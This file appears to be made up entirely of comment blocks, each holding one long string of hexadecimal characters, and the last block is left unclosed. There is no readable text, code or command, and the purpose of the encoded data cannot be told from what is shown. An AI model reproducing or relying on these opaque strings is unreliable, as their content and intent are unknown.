/*f91c886317bc238e3f9be384dcdc2b36b86531e6345aba182441a42d8c491565dd7509c8d75028bd9d0c0308356486cb69885262e55b0d5f3eee8cede72ed1ef2f110ada72031a2f49ee196c3d268d021f5e3d9d40aa1e5309a4eafdc2ed293a9ddd04454e8c26f157eb5b029568f5ebfab67755dd1b50a2ccaf760750018c787dea7a4e63689de8b391493de25d7cf807f5a330a774fc7a3a3d6893a47ad6cabf81a9b00a80c40c89154ce750e25306dc420eb2540810b8e2896a4da9b3cd116c6238211867fbaa13236b5196dff9263992de4caebcd75a27e2ff968f5d5f1350c353a46bea44379159785a60a6022426ea99548708182540bba761a8f088bbf498297c8516cb56f836ded48ddebb8acdf7e1655461017deddde93de5603fb39746f253d3c54ad453ff34bf9e5ad1232531dc8d6b9ccb5729cf63b428aa64c1668144909ede57379b7b38584d9475e3457248619aa213e8be451d927ff82ff75f0595d5902637b25fa96f61252e052864833472ab8a4610b805be121b54f79a7e7ebfdf6613260bf212308820814ec058e2870c9c47fc0739955660566f183871afe2c7c7f82ef95ec0dd2a71f7ab7c50abdcc52b7c3947ab77a30c4a59b1e3b6d7bd90a49de1c4bcc2455f045b1572a367980d0607333f898740868364a1d2c63286e019429f62e62933a149997da56ab064894e24d6c2afe628767ce920d86489098fa4f9221da37d5c9a45cb2fa4490d8a2df75bd566d3e14282cb090e68c2263598c8e7917b4d49e086ebd3925a7531c2ae3d4b8c17b49545374d591b56c986f52732d677b5072d46d7101bde55ac560273ae53744085b455531391755579633df0f96873e620ef787f169ef30ee9dc505dab17f028ec29d4c4ab5d7850eeea47e7b426743b80a30591542a083a1eebcd3c452c064a9cf4edbe617f17077c77a1c221d816e446a410aca2562d0d548bf35eaa41c0cf2cb98b681b682596053c8801459eb67747e909a6d9080197194eeb16294f248f0dbb2b3832576482fcef5eeb6e82eb1722f272632624b1c30404eb5dda2033edceb24029dc838a23bdec5453b3a13d11bb6fd9295e69ba3f1359f2029091460fc19cebf834322a65986ae31738d17e5d7c5d354323049d303c8bef779c16bff48b151934e346a7969864f1117173af8a81f4e6e4e1ec57e19a86111721171b42bf158dfb59d508bab22984d915c72fce798d3900572ee0daa68774e9e02bf64515b9f4c3ac7a1b4623c2d8907538602ebd5772c4d8ee725affe288720a5ef9e42803cdf7b7008c252738f8b28c4512ea54d922658efad80ffcc0fa69b5883767f6e35422c36d6b4629d7be285bd91cf9aeb3fbd300d81fe214345d571206ce7a8b7107d3316b94f33551323cfd753be6f831f67b93a15d167c2dfcaf1b8981e8788c095505fdb9e573f8f9551ff265bbf29449ab29b303f5292aea87db271e5c1aee1f6e8b8837b56ee2a003f56df4c39755cccacf7224fb49f585efde672869ac63116a43006e9e4a132d4c7473995e577569c291ed27facc7cb4fea295e9b1537f0d3e6bf3940cebf3c47fdfc9582bad5d259e10961015df4ef03cf9a20b53ee5da22fe5f34b8c883c541fec34f3176cc12e06d4ed1912fc9444e704f6bfe3d027d3de0df86980af342aaed1f780eb7eb8933cb2f55de324fb258c1bb1248afb6b21d299babd160db32913249c6928bee94f3793d24711d018df94d6686cf334a4f14d2025717101cc9fa2afc7041778b32fa74a11180b5f69237fbd3128582e7be1c9361f45734ea6157987493f29fd69d2269723f808359973b1b7951b9c10a22a4a2c2395cefaf78fc11c3c892049cd4eb5b480bec377856ed0c6e7c054ec7899c3aba9d054eac5644a090a15451d1263606b4acbe6b2e0a341b3bbea872e9de64644da23cd6dc84112057ddb4a26e24a57a20af44f7c574a0a4190efdfdfbaf97db32d6718dcd7d4f5bd880995a859b1175cf2e6d31ff09d440cb9f7186148d3296d4ddde1694e262057b8a8be79a3312d3df0d40d23996ecbe470282b3baedc342f238a023f3cc27cb9bc298599399273d7fe49a1fb7a4096e190c802cd0463840bc4f8f00d5e747ace6a4826af81e2df4e88bf8468bb7b400a0a97849cd59d98e05a46b25bfe8828aeb4f19ad4e05fae0997a3c91d988d0ca5de1d7ddc32e0fe638bba4d53eae0e8fb21f97dade68ed3697f484397aa8a3599fcf055bf27474f9722d6cb52af8427fe1732c031a7973091484dcc3155dd4e64e95fc61b3c93fad9da8d7a4a7cf24d68397d897c4fcba7ac626e0a45f19b7355338fcc29d8f31700c9e91c16a26bc4a059ced77017c059b3b59e9785f73b5465bef5a6ebf3cb203e29c461948af08a7b09710989b2c594eadf2dc68bd39bd4d4f3457832cb21bc7fcd0ee4a8581f5741449cead5f768a77c0bb41b42bd8a065e2dda27f42db45586cb20e9a7dd3ab7c8be594f7dd4132d6db712aa8751397831a0f3499ac6cf485ccc0072b4cfeaae6a2f02943bf9525885fcedc00cd0909d6a8ab9e9318f2b1483fcb80a22bde24c27e61f1b8077e2fbaf6fa1082126cc3fa2d61b7ef823ed884074232753dc71ae33ffe51ff0d9e82e2a81955d8034d4ecc0ee76af400e77a612ad66838b9a8d8b9815bcf4d765b9cdaa4ef57130090ac8c5f73f9754c58267c32ebfdc07c855bfeed1fc062f5ca78bb79132303e318aef18dbef7dc80d4f231c9b52d689a449d93295385def5bd3cfea9f382a2f810a1a41935d38b66f31d930441fab91c1315578b4e768abd74d1b258742a0*/
/*d9745076dc98f5338bf6d45668516be1564da639309e31126f436ff7964efa2edffe059307b4f18e3d42ac774600d54e9a61f8467f21d399f32def8707bef3719b3f296aa97d8a9ad9ba506e9f95cd4e10d31cb5df6b1d2a5a47d83ae012728f5297bbf85adc294f01df25f1197fab54fa899fd90d7d4988c78ebf9f8b1b3d650dcc2ea06e43b754e32e5e38f138b44c9aea53d08cf315f8965a1fcbde7b63bdaf787dfeb0701a037e99c468994e608baf5df8971cfc3017764dc8413c0b9d408a6336eff421339efb40fb40ce644b8e4eae1397051f1eda05c902363468ef720bbe147786fa26de165314a39606fce8b8d1e7bfcb8420f15e4d4986a8ae043bcfd04c077ff83e93ae675e4262368102cb294af5437dab482ffad80c77cb8c0f88cb7dc134e6268b8f068c6e2f057e81728415fec7f2800f643f4b0bcc727706774cd4b269bf1facf4cc417a39fc84cfad7baca7f14eb79393063efa6fdb79df286b926ed5fe3648a4d7ec366b54fa1f45119c2c84fae46f25fb046cefe5b467455b5745c994abc1f7223be57f83447cda9ec9ba72be03651e7fed7b41e3e2e93743e42e91f1186cc81908ee8252bc09c394bb08f39b7bae1a46b9509740933c5dc5a1153ae60d35f5d3684b0b08196e0ac2006c046bd2283465918126e9f4ae16c4df059f48b13594d59dc789519b48dbb3418874c9d81ebe6f5cda2a171ac8a4714af4cf34f38a156ddf22b391405c3a7672711e8dce2937ceb2d03d3c355e4fb1f0e377ac6f8f9e5fbb0ace5dab9a6ffc1ab114a29b09cca07b0111a6315d862b8a8b459248c55b539db3f75a15850e3bcc877dc7fc4845cbed52c236b0e20a2a5b2ff652a2a076dc33d0e7ac1c052b47366d854687ec3d10a1659c22a170411ed3cb7a995c0170ec1ed49a0a4c704af651da163e6819da454789c0c060da6988c3b336e39456edaff7ef1607230048f4b64b8a6768544aafdb6c5763dd9d9ff23c8204739c8ba9818277dd041ee2d8fbf44c5b391eb08b09fbb14f0ef7f1f983b1f41a42e7b61ad567e421b181c454b97ceab9264ca7db721828dda3c639ce069d1c40f103b2c180a44095575e49963e20186cf921fab75d65da12ae617e857ba30eac2ad4aad34fcb0c80fdeb8df49b7f3b2f30019318a3b2dd9e01f1a3aa09bf296cb75afec4e4a53c9d5b2f3e9701a757752f371761aab2f85028c4f21047410d4c9bb3a6d7af163e9646c74171d541c0a3448ba0ccc2eecdda52738dbcd30d110a798d0baecca746b5fc30bd19ab6cc415acf305fd4a67ade41c71dd0f301915858647260eb92514afacda556be58b682e9ed41ba93965a1ac1ccdc8b48d0599e8584f426b0fc2908d5d4db966c4d73d5646e4af5f021e1df85d6d5f2e199782caa464ae76b576eccee038e1c5da9f8435fa7dfd2d23d6984fbcabd4abd3db1ae077263deec1598feb71f7d6505b5ef7da35e5b664b870da48b4a754dd37e5189c49b14646e69660d3d20a66d542c62464ef0589128520ca3d6187b93da563bafbea021a995ee5099f6dedc4d34c57c02afe187b43823713575bb9cde585fa6af81a886b5dfc51a48dc85879643606b0d4e928afe5a1f0749ce5ee52bfaa6a19b896a48d2fb7033d980693245c8522559301efc061ae7327e263634c36d31be08d6629b5a491c88a5b1489139b318bec0c813b31d67dd7fda5a0c579e3c6f757c8ed225b0883dee4f3644e1dea87153a2456c56939e83035621493c839e29657c2f4a45682d015e800ebf2dc846abfd1e5d03ffeeca58d0a2bfd6cd0f2b4d524f13bc79986d355e405918989c6886e52ecb1f29a400a1134a57ca072fb961ecb8ecc8c0627152e182e5e34bba60c38d322e1714b3fdb214d035e366424643f7288aeb48b8499fe1cd1fa2608277c529f8356d7fda2b2cf2c9c030938c2ab3098004540ee1110540831b28f6495027051708cc7ff6f1469ebce51da96c3deed2b584547488358c153b5a11c4b94dd89cb61f05e43907711244e984d01cb3b7cae08819df44cbc0ef58a9568f4a962a42446c5259f71438d23c53421dc300c30251ecef615bf9f300c529de510cc7e45b69de8440fab20574ba2e89be08f474306c5236ed900aa38bd8d6c66d282a25697145a4acc331ebfc52785ad8f4009f45820ba86050786d1e5d063540851bf0289fe1b4024cd7aa056201a981c18944c76ea0c46573b63b16d9874ebcd47a5a8733420f2ddbd50e2bd6d6b6e4beb58d8104b394aeadf35ac0ee6f1613d01fec564cd32ea9ceb95e6338751b288aba77bd5d6dd1f62eed80a9d06249e0a7abafdbdb0236ec85b78d72b8562f42882db533d8610795b50e21aa2692cdec5f49facc2e9104ca8494074e4129a01bc8ce3116b4d8711ed1528447776545e9e2534f68a46f51f1ebe61d604316d3bcee96a7605ab8f2a3769559fd308a2e315285a4505228d440eb04ca796b3d59def086cf2b208f7f0d8266c518e2498bd1ad2eb26db46c0e7849195b090d090c37809094a9fdd85a6f73d029eac644f15870101af4ab3270014d3638a7a4c6e4f5b91d17560520e95df4f4bd30a8939e6ae580c447ce4f9ae6cd1cb5d00a567c961c9ad3852a05538e21faa8e4d9244256e559334fca7bdc311c48b1d2f65a95f6454692ad0b5d90a3d64caea760899fc0e673c177d1d326905bca1d7d473c84e97a4fa552e889dbe6fe868575cc9a698b01d1534478b71f1c7f0a139f051a5bca1dfad7278e55d994ad0563368dd4ccf87d2e65026fbde14000f80f953da61466abeb98d9ef61e2ee8fba42024fd66b022*/
/*2ae6276194b55031e16847f74362f3282c8df7dec1087938db755dcfdf1f275940230da61695495c8a35a368b2307cbdea31e74806eec70416e3d888a1a2f7414f7b1b2d77ffa8af32b14d8f678b246f3c8a15bc3e5444204f0adcd1683b090cbc841f94724c1261dc9d04252b70dc2e4edfe960051adf5c6a4f5bbbc6c4c421a98d078854701e1adde12029cf54281f55677c18cf6c32fdaa2fac235e610e4395250a291cce2e269c0ae1b9019d2ae3c4cf0ab02a1d87d78ed3677beb1a9622d3232e77d2d9f099513930760a2d62adfac7caa6af455de3ff57a14ef4631ed16775ac58388a4beed2c1e2f51aafe3cea71514c163a2eef7da1c461f26413b663697bec2177f938bd47f4076e92a94862b07a67735d5eed21a8307361a85952f08dd1f98cc6c7216e2f5180c2fc712445aa0fa29825a49fda178df88babdacc0654d41c3868b21040f83fff49d067e368c39fb45f3d6ebc70bd773a20da2b006f37ff31c45988b98f5ca12d801dac8575c178e0e02e5a964e30d3aca5881be954e72efe3a96b5e09b39b6b6079f5ef9438e22bb2d392c450d29d0b5da01fc82628a1b729ae64ebd5b36841e9f9f0f1008b0c17d1577e41870c8e3b4616485c30a1bc0e5b03fefdf79bc0c3a254e79f20ddd69f08339c43605dc88175844d51cdeb6336df5bdb9b902c83486d62ef419ed1677818f889a9675f0b894367d3bd0e50fb699cb3cb592759dfab162087f10306b06fc91001831eea9837a223eab0fb9b03c639b76167ac4c2aa4719ea1377fccb8f7e60fe8e7bc2bb9d01b00c6ad5216892d631a315568c0a5f09d556511e36e8e211b2efecac65589d14de809a2557d100a7ba7ab94b191767805303227ef0751f61cee079968283dbd5573769e6a1d163f9346c7a1416e227a96b33836a24bf126130ebb909b7f8deb550f9a06a55a929717b10ff89517a37ad10dffd07b668a24c3276cd1a8dc4655cf93037090817dea7a8f2906493a659f7b6904c353edf5f71aaf52e379152efae548a4a053578afd9c19a0c342fbee03bd7abad59abf7fe421152b0cadb3efcc85240325b464e0342c02d9f645dd7c428f31ca75fb2649abf46eda8eaf8e0003afe4de22e4e43234088d0d8474687bf88c26e01d4c7ac107f4c554b92e4d4bd8e01b5a8f51c5c6c189cd932e9b5ddd098a3be423b512505de7ed1f3d4f9e3d3c6a60be21b2d59667c70f0b16a017c3c0dbd8acd6f0a2cba2eb80b0b49b7aedec265f45aaa0d83cda9d3321970484b2296df8f373c3eb476fa2971473c80840de0d6d9d60918dcf4a7abcb71d5ce207e90f923a70d51e5317e3ea06913908977377636f101a50260cd047bf835842ad38ae1975e0a22363122a69b18209f55698fad8b8472bfce8194523a1c9f7e1ba3b5f775be3a16316ca97fcda6b0eca31fb74a1762dc4e5752c26584797891a8c4037902e5cf05d2663cd79d75647fce7bfd8b49ef39670c8499fd8b49d9955e2289c1c5127acd4fd01ac87d4a42c9b1ccff1456a9cc9cb90437be49691e952eba29eb4e298494f17edcd4c9eb989b3fad33fe1a7c9ea2769c7fb2d5292ff58751084d60a2904b285b0c6566b321097bcb26e8bb9e556a25584f764cc66cb5db7a9985397d93e828821f8e43d3b0980cd671959d1349a7e1d00528a6ac60ba1b06ec3a02257fcce102410c163c4e7348c75daff1ad2293f6808df0c9d67c1a7b75d7fece251038e758847c1551576946f43a2a1c7d94f98dacf8d1ed76111f3497edc74c03a6590a9bebf8f1e40715705beef59ec580a414e6758f07d4890658215e31811d7a433688143a24f89343f97d14763bc42910b3d1a4208d5f03fa54ca6fc6da7700003e38b1cc58f445dd2acb253de08a30401bf27bd50122b328fdcb26056360168c1af8e2fe9600a534537a05599a03a8c33ee7f0a1be85c315ffffb468a98d11144e85f3d6f84c4fa7d2e39f3687b06e3d6bf568fd81c4d5d4386ad7e921e253f3cdc047c683819e800066a6295932e0cfe3e7f4585a29866755ee5d9f3ddedb79f44ee782adfcfae67c241788098b4e3c4c6c382c4da58aa766f6607e7deb4a946ec984377ace8b773606b08cec8d4a73c10497e668288dfb832821921cd530a7e9c035745474693d02aea97aaf30475b7f4fd8414c317628cd930df0531cea838801fc4243112dbcd8ef97828ca22936a0063b2ccf0a93acf6beb34e9a297804aed2f78d21e1b2954c7da75829de26e40a6ebf3f2e7bba9615afeb5fa1bb087c58423f49f8896c8392b591b56f28bf7189f599334de5c404333ee641d8bff72eb1c7345e2165ace40d7f0363ec11e94494a7cc1bceb84378bd1147b99cd678664db54dcc11d69b819e8f0bb60d9fcb812aa13f64b67c3c47f0aed9b50b721882e9eafdc53d50d92addcff9c3bd732960176c3c71e87378fdaf8473dd05e1845dd92a189612936d1dca215777c9b88a66784b58c2711ad9ab996ffa21360bca7da4989ef3ac84babb246e9703227e6029a1dd42b6bf2df1dc1a04c5013ad0fa043bc2ef75b3433688b9c5e93ff35f0670acebe6965bc01632456745539ae12fba7836bdb0bca9323dc7f20c26907930218f540a54589f87e98ed443ace808bad1333d395fecfbe185362551c06bef45dcba4cd2a71beaf28c36d5b35d96232f4bfe2e446c846996e72802465b0be29a4a4304cef8194c646f1427c0a9dd19a049b12fc165df36630a292161ba5efb42c0ec44c1c62cf0e5a2838b64b3d2afa39e379d3c6d350aa3062b9fa46d9a18931fc6bbc867e2c63cccec6ca180949c721*/
/*1e9fa7a007ef09728dff56bebdf5a1444df7db0398a74e3d00a0e1030d845a06ed3434e45c41942d076f26aa4612c4d93f39bd320d58a412712b1c04bbb7a3047c788873b1afc992cbd6ccc27c23f84d63db7d94583233be5ea355a2fbb3917534510bff915c73c16a0b586cf1d09093a57f6c5bd4d0dcf8e04e4dace028e41960b973c705472ba6a79f67a8489b9b19dfc4bbff8f7bf948f8ebb27e22c38e52dda50e71be33640f7e83bd3e517536684bb80768463a48705c64c777702303b224cd8d38823f2fad99fbb4daef2f2647b97d8018fe1965d1d04d0581dc58de9ddcdacf7b8fda9d4e30717524d1fe4d8cfa4f729c46c9b371c065ba3b731c04c853d7fb3b30f98311d4afe81e5a917088d39489831fc121c08fe58864c91756fc372cf18fb7617fc10593066bc5cb70ec1210d32966a184449782d015d9734a7208621c43381ffa5d00d9bb9f7f8facf3399a6bd111aafe6ca69493c1c25fcb58a0088eb0999e73ec1b88da5848924a99f64b3b584712e7989cbe4df0d6549ddfc7a460e2000ad7003a44f87f431d2df9e8ea3bc82996d430072a0972e76526f31085cda546f3e2618d882238fdc92d329f584f80dbf8f53c7c239dd727ba33b74f13263695a2f98cd1e510e623b8af20858c804342f27e8d7c9aa7ddac0257ccc906a45a9f1469a3dc8cff37e30caabb23d35d312f5f6f88eb4dc1ee76bde2795bffb2840e8ed84a377a75230b01235e8a07fd614c0d37affe1dde794d8bb8b7d93c079e742e28bf70f17c25e9158f3174066dea982f62473b075e58c7b0db552c2449c554cffcac11fa854de8fe8fd01d054ad54e365d3dd5d7f6ea1b4a1b6593b10946b757bc806c29bbcfc73d4bba6d4071ebb730b9f941dbd6d11416efdea612f6765454eecf420214d01233108b19af7518a4a5ea87e7147b87fd6612429abd7b04be91a5d0ba9bb5138b0b7e9d878083d7d3d4601c484221e2a69102fb4d0eaeb64c4a4121860d38e51642bfd460349e5f0790250c5d32727c4ca2f7bf338e0964dbe8287fbe786147670349f2f41e8e7b898668ea4ef5ba82c54aabf89338c92cd7c62b515b971c483adf344e63721e2ab19dff873cd943b8a166386d7cdc110b2794709d9b7accab6401740e541eba67214e0367597887ec4cb8fa0833f60d6362aa35eb7a23ef4ebf767c4b3cdbdedabfbc96e49a347345f602c5336710e2fc29d4b6a5a479f2d8e56917e5e3e9a4f95a9d49b93151c008d720085bac8b5734002a78272f4d8119e9bee15ee8eceba7d7b332a028bfae4b6cb583cc2a433079e6e45d312a44ec8bc990d24eddcfd28775ce765804b2e4f0d3ccdf660821c88f2fffa9c38b1ee36e9bbe5bbbf3ef10cd8b0e0f87f7ea420b9c0d9ffa4e2c4e11c272aa3fc3eb52c639635ffce2abb1eb2a5bbeada87bc43a8151d3835b6b62dbbd546e5db81af18b91929c1cd90ffa19e4de678670885b5cfecd4bcaee9a513485b64e62807c1f00a139f7632af80c8a1d2374f0387b4b2d3f0fc8ae1a724521e3121de34d1fb700ef18275af528e871c2ab6199713f49d9728f14da8dc44d70020e3d2a3dd3a0e9574c881f4863952cbd86b08fd3fd1602de60d290b8f2b613fd6f5c16feee23d1764575f5c313500e7b599ec7a50e7c41c0ab14a1925db2c129e36cd0f038fb383e9dba8377643075adb303ff536ce490b192d16ffffe6c0e8534251c9f82f46edcefa64af29fc8952a13a3ad42c6cca756b18cccb8921dfde34d3f402d66bed551ca7cb5d7d394859c1b3cdde9663fdbe89dac60f36940be48a3c8a766a0021d1877004ffa0aa028b2e4dba2974bb46f2a6a845594d6069541f9a94e8ddf6bd776c9c32d75720d76994bd27e2ecdef01b9d63e38e96f6406cbd175f070b976670113f0f93e38303c56d9ab4fd9989494cc633245d234f048e99d21bc2e34d2f59815f07a8e60d7cea70620746020aed8f953bf3838779b6c8bc477eb04648adca481b38214112e4c0f51b508ed97ecccb84be4fc6b3b6f760c1446717642de5c00d45b8a885a1add7e2afb92595e08adc24f83a6cacf5079832c248c0f905e2ab16dfaf2aa6aa5e14adea9baa23d1e114835766cb827103ac168bb9b834f3e3585f2590d7252d4b17a78ad8ca9ec374cc8bd04eeb398faa42919f55c27005e37ac5c4c1e7aa73556427cddb700c5bd5bb6326cbc4890b30df64a99787c2e28b28c5c8fbba77934ccd5cd640bdbed315ba2ad758ce6d068fe758d9e659ae0ea97a128201c61b5ca53b605ed93b41b3e8e4ff03d03c9c5c07b12304421dd8e0a48cb0fb00162bba1ec3b5a39cb417e2b39f00d15fb54c93f582e10b41f3f2463b88999cbbe584a99e2edd56823681c4232af6c95a9ddea50804eac7c8bdda5bed2060b8cdba06de3f3d72326b3bef5c8297c6042c2b4ca0980dee287e3acc1b6ac3a83c3f8c519524098e2c0779b7a35bce3524be40de5cbc2622bfbbd01a3c2681125b2471c5a04ac633b12407702b211835709dddbbf8335ea60a96a54444eb18dfd24e4aedb539c6293720ce32a307d65ce5e95c8cc4f658ba454a3f5418888016ce13ff5ffe4187d04f2e14ec13d6a98714bcb7b602a85bb44e8011cd888139f7bfef565a2cf39a39c637bb84d523b753ee69bfc7562236ff97e40560f3be4f5b7f18094034040f8b655fda5dc449eed285e58b38a9f50563ad2577fc7fabbabab8c10ae97a2837165170973cf5d7af599ade144debc6dacf82cede16835a7493968476f5d6d0baf1932e79b2561c16f482eec40e585c60dcc09cf642447776126ace6*/
/*2608cd60435409094e3d95efea6becfe8ea9f6c589eb8a0ba3b6ec3407dcb9edfcf53992de4b000dc4b20a9eb92aaadbab31abbd3a49d27ec1cbb12bd84dc62431ae7d6d84c60617b3dbf33893456034df6d5cccfd3846ee4960ff93b7300ff0f092d2314af1db0ab52c37b32817068016934b275486d4481157420f289cfe1bb804b38f590ca374c88ff0d70710607f17e5401786a30d699502133782cf9173866e0f8594e28b2d658d5c6f7d583f510d96c153787e37701cecd3d5e1542b0c5a51dc257585c5e8cf023d925317a16147dcf9898bcd391234f016fce212443ed13f48d62ab5385e6f039311f2527beb2d5a797afe049480d326597f961d196581eeeaf7d85d2863ac7bc7ca6b1f2bee3e321a9d5ef6cd2819a5054f46880aa89c290ccce6fa7921b3e2af07b5b3429776998e21326bedddba3f10476e2385594e7aabeb5dc937be572e0def0baffeecf75e305ae87d5ca28142f523f84588eb366b02934f1538869ebcd6402b86977ff38a8d2ef29756db2d81d36f3e016f8f0e331d09466f1424f79c183e43440f430ee6b6dd5aa11e583945a207f9430ce69df96c7ee785b96665604f5fe7c76b0c2fa3618d487e6d57f5911ef37e326864e1c22792ff7fd5d5c3cb714cd794dde6dfbdf79b156211cf8fefc720c6d349cb597cbec13dd1d429d7992b2b67ec8ea3946fc2dfe855ed61d079285cf1e9868828dde5f38c98fc51278a2e1c1361b29378d9af2f60441caf5a97c41d573479f7443301f592d68a8fe2dadaf05a04de5c576907862cd63ee2022fafe888335c4aaf669e2ba90f29ac7c49df88ad07f5d829316105cc7dc137cbb401549c0b279da3f2daf4d21377d40e7e92cd0d1924ae7cbbaa98489065dae77bd6563ea0f32e3d8bf21fd54ff0f8d13e73092bdac04e5e89bc8c65517decfeb4bf4da91ac96b164920bf23ac4d68d09ce839c084f4a990b86f3594a93db2510ae6606698f4f81f021b75d3febac77a584d1a88d72808fdf8c0cf885c63a362f81e2222dd10a56d015c352bd9c9a1eb6992cf9c16fd04854ff1d39d580d8d271f9c9b2351deea44cd3094dc5872079eae3eccf5bb7fdfa9ed65c1c85e8cd4990335be6410dad9c6e3ff8dfda02e3969644b24b295303fea7ac7eb0cb770826f079353609f350a434c5d07f32dd77d17dbe2820a578ec4092faea07a773937a200a834e936058a0b528e834fd9b66e98b2b52f7b2c7199b95baae6910dfb6c94c507498992cad53efb3f78d24d9bdb0d892d9d3acbf7f7799c0e8c6d8abb179bb4e0031bd2dc8d8db74258b0450c1c6c789d6c3da9fce11920d6608c899c34e7776609627603d732c7b6f1ec2a70dce83be33a2c11169754ebef6824083439f2c5c10bb8414fbff049d5a0d79d9fe32a8caa4dc1995c3504cfdb25f54ad6e39ef1d0915b91c1ff23ceda657bee626b2a6aaf3bb5f0e20ff1d71ca4d6db90cab29315c09739a3da6bf066298a636ae23147f8a9cec21c7b8cc58349b8ca8206473ccfc0eaea43c4eb983fe620fecd416d89b67b66745773c409e465284764f29314e2d7825d6ded910d5350822605d4120ab701003631f945b37c361d20a58cd6eb0b5950fdaa5b5b1e52b25323c4b7deb6bb6dcdaa0161d89deb5b85e75bbbb9ec51b08c163cd4a7b0f3fd281c2cb1667da6fa0b1419ed2a77e38d7a12c2c6a760e80c7cb737f68c9d4cb80c7c6b615f9896edbf3537f0d7b5aea93e509339701b6be3343d328828f6cf814b3925d32793e3bdd0a0c0a73bf0931225d11bce2989e4f67b465504d749dc4d7286e55d257a4653dcade7a8f8bffd26021136a78c37b5248dafbc300fb1314bd8e2a33bcdab21bf7a150a48715edac525c52fa6e224b1e03c9386fe822ba4ab5b27d1f64f0e008dc1729d514054cc373ef91d017de7ccd235b8344a4fb6c5318de34e6f49e5d778b97b0326221df80500dba976a44580cccbc714e3e89f435ecd90bf6b90947debbab1755cb135e5287c85d5ed1026085b8a0818ea50d31853cf0c6c00d77956f15c5bb832b25a96f0b598f50ddef1d84704649b603eafce4cbe43ee1202355981b91d8206182c19a96825d7c458f91c2ee1f39b3dda67ea2bed2d7a6b46b1c378e39d748edfc3cece9184df4fcd303440d1bbc790bc9bb90d040b5664f5665b3d2ec75653229496bd0b4dcc50578805f435a00c32b697059b9a707f513824e6ba32f4ae23938b965d4f293eeaee732e3430abf47dc0d6bbc3318b3b09e21af9658c5f05e563606500621f2353b2f7808b65b4d0a6025fc5af58db0434e68eb4ab25b2a2b70d9ed137a49b8092396c5da58eadb7f80ee8f835e0e6d3aedfca1ebb820c610ad9df079945bf4e45747321b8fb49d35270674c474e57a95f5c573fff48d815ddeaf4e83cc3d0d60c2cbee62d1b028c830a36e9d4f357da927213669e3fcdb5de5b264b18ee5784173f024a701446750f1d08845fe78623edc0bc58e6a649a5f7c7841e60ed63e38a2c3948fbf17e862d3cb11208436267dd8851c98fa0c9b8e6f7d9287edca1f38efc5e3ef1788cad04ced711f4fe23a30856a4c0603fbbfc280a8d6dde6d7de81886da9abc889d3f20ea771868f0afda8eda6d8674dfb63cfcfd76b1b7f568025fe7b530dfbe46e7e702a249f8a7687c4f237a4246626275e806b694416b3ffbfed680ff7b6394cb13d8487ea028e5c8e6dc69616b719c0885fb235e8507b5ca28bb15b9cfb265b71afee74209726ffe46f6f2219481ea4fcd097813280759d1b2f2fa61fcc81826f29f78a4f6e673f76479031df7c7108771*/
/*8faafea0b610e9a2c6e1b12a4e7b894f558047e6278e66f8fca9989c7005401330964a4b44b60e509c6181b2ce223ce88ef8aff55afb5a9083cb396d6e9d85c29c5af4a77fe19525818a1824d3a99323427407ad0f9e37818a85ebb392feec0aa73c4ef8522d7e0a2e1513ec65dedb6d4d7e0a996bc2b0e8d638b86acaa52b698f214fb5ead511757c22b07e8ed92af18a3d1d4b6ac72820719506bfd48ccf660c4b99c37974ad34a7bd746c338e8c7b0f1d775b80a1ecbed9944a24d11b21661db1e1a80ce1030400061be5677eadedb68fece8ec2562a45c2904246ce5331528c7ebd9279f590e45dfe606b3eeb34b7f05e89de3f96585e43c65356bd562a0cc6a7fa43a6f425eff88f2776816a097526772198b76825a3b5aedfb6540a2364e6a37651fff696625c2a70af451f351293c9f2256ecd554f819075c406cdf854ca5969e8f51b757eafcabbf8bed22a7fb6271530b598dc81ee92f3ae07ee64941ad2c1e5a2611c35d8bad627ac6957d9adf8641a1d5e4f0c3ae87b1029fccf5b42be024fde4d42853ef156053a150bc60461fe0a9989f9ab6dc0ebd88a1d6c80d9c3030f2b1c8a2b5ae16e7337f0301fd7301498001db2a7921ce44749c4cbaacdc4d76a7a27b66355c8b1f3b8f89711f8496d3d3fdee3ac564645037234947f58e9c3623e4258158de7cf21b66e3ac1b224e57649a4c886e6ce6a4a0e81c83dea1c7f04f70135800dfd28e4f94e108ed39009d9cc85bade8c4a31e29d2f5494036cfdb82b55c8af105b0fce55791e17cdc9e7bb1812e198a6793d6d447b5753f5f558b6243a599b09efe009060e7c7c601fd16cfb59c864f0028f3b47f6c983d8638a3cea13f5e21c45c9177a47eb8ed873bddb7b59e68a3c06871165e4a5df2ee900ab858ba65fafcdce5327638c884a3f1cfe54efd14c2b3c0c2342778657074b45b0ca3c4751a91688bd486d363e9fb515390a3779b74fee711dc3e4b5277f0211cd63cc4492aace2fedb828712916d41ad49c4293337db0d89309ee04aa8a5ce4f210fd342e0b241b3d92d4a9302ed99b8c3f907a3c5d5925c59371d0af61e4e29621bc3502dea17f2b95674c073d71687b18d17e3e0dff61753f9ff006ac3cb11ebfb3ac5c5550a3286d01cd1bbaa465d4187b0cd8052c00552bbed8c05ee70a514d41ed1755e7dc97b2e3b04f96db6fa4bf4564de1ced064813b1ee29ed4fe5f566fca938f15aedf0b90d5c85bc0559d815cef0c0e8107bb1c717a23ff98cc90114166d4acc343ddcc72231b14991a7acb43f0f32082d8a1199ef500162e0a9ef63153d5acacd77dc2d0fb014e80064516aa71b26af16be3f1c2c358627f9794b5e549fb8aa8758f415799ddcbda9b8ee86b71347b85a48ad73e3403cd9b5a0dd666d5330f82900c5eaadfc193df8b7e799b0d05b603e09323eba66150137479590ac3dacfd46d7506cb787a29fd2a3558ba6d1c6909955c302ef2b79336a51af99d4da7c5ae50454cdb74be536c07e4f676fdf93a6d9cccbc7ce9e5bebcf5d12a856b1a0767372896515de5d2807b86cfb4b9130535905ddaab048cb764edbd83c78bc30aaea7f954fb42736313de92595b8f1c3fbe927d5987c22b99c6d4e7ac6da0e5fe1eccb84d38a1ed300d159edd85d4c1af5dfa28029005c8e97282b132c1dda7ef2769a292bdfc705bb5a9c5ebace362100c0879faf7b102373048659e271a2d83e9ac138ef50ac44dbda9ca839dda33020206d5b55b6dfa89e2f91f02158a0e22954fd43cbed3dd63bbde8501d70ef93f7f02d05897b515a028fbed320e2f4f62f7319f2eaf5f8540ad324cf4b4d4879266fe766739f7440458ce266a0fb19f3684c119f45695c4ad376bdae29973ca4c31bb7a6d63cbbdac8d64aaf079cac2dd0b3a7ef97a3a58e444d143bf61a8c47f1dcf63cc911430f11776b3cee60f9a0bcea3e36ec834f5177f695aba65da2ce862ebebed2c8834800f879226eb3abf470f0bb448b6c4630aace5d44d647e993352540a3744f60fe1441bba36df6f828fd8d659c6a534f4670ee9497e64114d166659f21ab09b333706968d621e9015683995b38e95403637447f3cbb97992abf29cae22669d81e324eb257e48ca883f37ea